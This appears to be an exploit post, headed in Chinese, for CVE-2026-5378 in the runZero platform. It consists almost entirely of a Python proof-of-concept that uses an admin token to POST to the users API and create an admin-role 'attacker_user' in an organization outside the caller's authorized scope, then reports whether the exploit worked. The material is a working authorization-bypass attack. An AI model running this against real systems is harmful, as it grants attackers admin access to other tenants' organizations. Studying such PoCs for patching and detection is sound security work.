CVE-2026-5378 runZero平台越权创建用户漏洞

import requests # Exploit Title: runZero Platform Incorrect Authorization PoC # CVE: CVE-2026-5378 # Description: Create a user outside the authorized organization scope. target_url = "https://<runzero-host>/api/v1.0/users" admin_token = "<ADMIN_ACCESS_TOKEN>" # Headers with authentication headers = { "Authorization": f"Bearer {admin_token}", "Content-Type": "application/json" } # Payload attempting to create a user in a different organization (org_id) # The attacker's admin account belongs to Org A, but specifies Org B here. payload = { "name": "attacker_user", "email": "[email protected]", "role": "admin", "org_id": "<TARGET_ORG_ID_OUTSIDE_SCOPE>" # Vulnerable parameter } response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 201: print("[+] Exploit successful! User created outside authorized scope.") print(f"[+] Response: {response.text}") else: print("[-] Exploit failed or patch applied.") print(f"[-] Status Code: {response.status_code}")